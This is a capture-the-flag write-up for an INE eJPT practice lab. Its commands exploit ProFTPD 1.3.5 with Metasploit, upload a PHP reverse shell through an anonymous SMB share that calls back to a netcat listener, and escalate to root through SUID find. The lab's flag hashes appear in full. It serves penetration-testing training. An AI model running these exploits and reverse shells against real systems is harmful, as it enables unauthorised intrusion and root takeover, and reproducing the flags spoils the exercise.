Exploitation CTF 3

Two targets, target1 and target2. Enumerate, exploit misconfigurations, and capture four MD5 flags.

eJPT preparation · Write-up by Zeliha Zengin

Lab Environment

Two machines are accessible at target1.ine.local and target2.ine.local. Enumerate the targets, exploit the misconfigurations or vulnerabilities, and capture the flags. Each flag is an MD5 hash.

MetasploitNmapPython3NetcatsmbmapsmbclientNetstatenum4linux
Note: Flag format is FLAG1{MD5Hash} — submit only the hash inside the braces.

All work is performed against an authorized INE training lab for eJPT exam preparation.

Flag 1 — Vulnerable FTP service on target1

ip addr
cat /etc/hosts
nmap -sV -sC -Pn -p- -A 192.175.131.3
dirb http://192.175.131.3

Nmap reveals ProFTPD 1.3.5, which has a well-known exploit. Confirm and exploit with Metasploit:

msfconsole
search ftp ProFTPD 1.3.5
use 0
show options

set RHOSTS target1.ine.local
set LHOST 192.175.131.3
set SITEPATH /var/www/html
exploit
Note: searchsploit (Exploit-DB CLI) and Metasploit's search both confirm a public exploit exists.

Interact with the session and find the flag:

sessions
sessions -i 1
pwd
ls
whoami
cd /
cat flag1.txt
🏁 FLAG 1: c2b5eb8f31f94b93a12fb7c908bf1c8d

Flag 2 — Local service on target1

The flag 1 hint points to a service listening only on localhost. Find it and connect:

netstat -tuln | grep 127.0.0.1
nc -nv 127.0.0.1 8888

When prompted, provide the passphrase: letmein

🏁 FLAG 2: f045656b5b68476bb898987e4ac190c6

Flag 3 — Misconfigured SMB share → web shell on target2

nmap -sC -sV -Pn -A -p- 192.175.131.4
enum4linux -a 192.175.131.4

One SMB share (site-uploads) allows anonymous mapping and is served over HTTP at http://192.175.131.4/site-uploads/. A file uploaded over SMB can therefore be executed through the web server.

Prepare a PHP reverse shell and edit its IP/port:

cp /usr/share/webshells/php/php-reverse-shell.php .
nano php-reverse-shell.php
$ip = '192.175.131.3';   // CHANGE THIS to your IP
$port = 1234;            // CHANGE THIS to your port

Upload it over SMB (leave the password blank):

smbclient //target2.ine.local/site-uploads
# Password: (just press Enter)
smb> put php-reverse-shell.php

Start a listener, then trigger the shell by clicking it in the browser:

nc -lvnp 1234

Once the shell lands:

pwd
whoami
ls
cat flag3.txt
🏁 FLAG 3: 7e7f802501934c5a92c118f898fe730b

Flag 4 — Privilege escalation via SUID find

Search for SUID binaries:

find / -perm -4000 -type f 2>/dev/null
PartMeaning
find /Search from the filesystem root
-perm -4000Files with the SUID bit set
-type fRegular files only
2>/dev/nullHide permission-denied errors

SUID files run with the privileges of their owner (often root). find appears in the list, and per GTFOBins it can be abused to spawn a privileged shell:

find / -exec /bin/bash -p \; -quit
Note: /bin/bash -p is preferred over rbash -p here — rbash is a *restricted* shell that limits cd, PATH changes, and commands containing /.

With the root shell: cat /root/flag4.txt

🏁 FLAG 4: 99fb7ab063924543906eaaacebe77835

Summary

FlagTechnique
1ProFTPD 1.3.5 exploit via Metasploit
2Interacting with a localhost-only service (netstat → netcat)
3Anonymous SMB upload + HTTP execution of a PHP reverse shell
4SUID find abuse (GTFOBins) for privilege escalation to root

Key Takeaways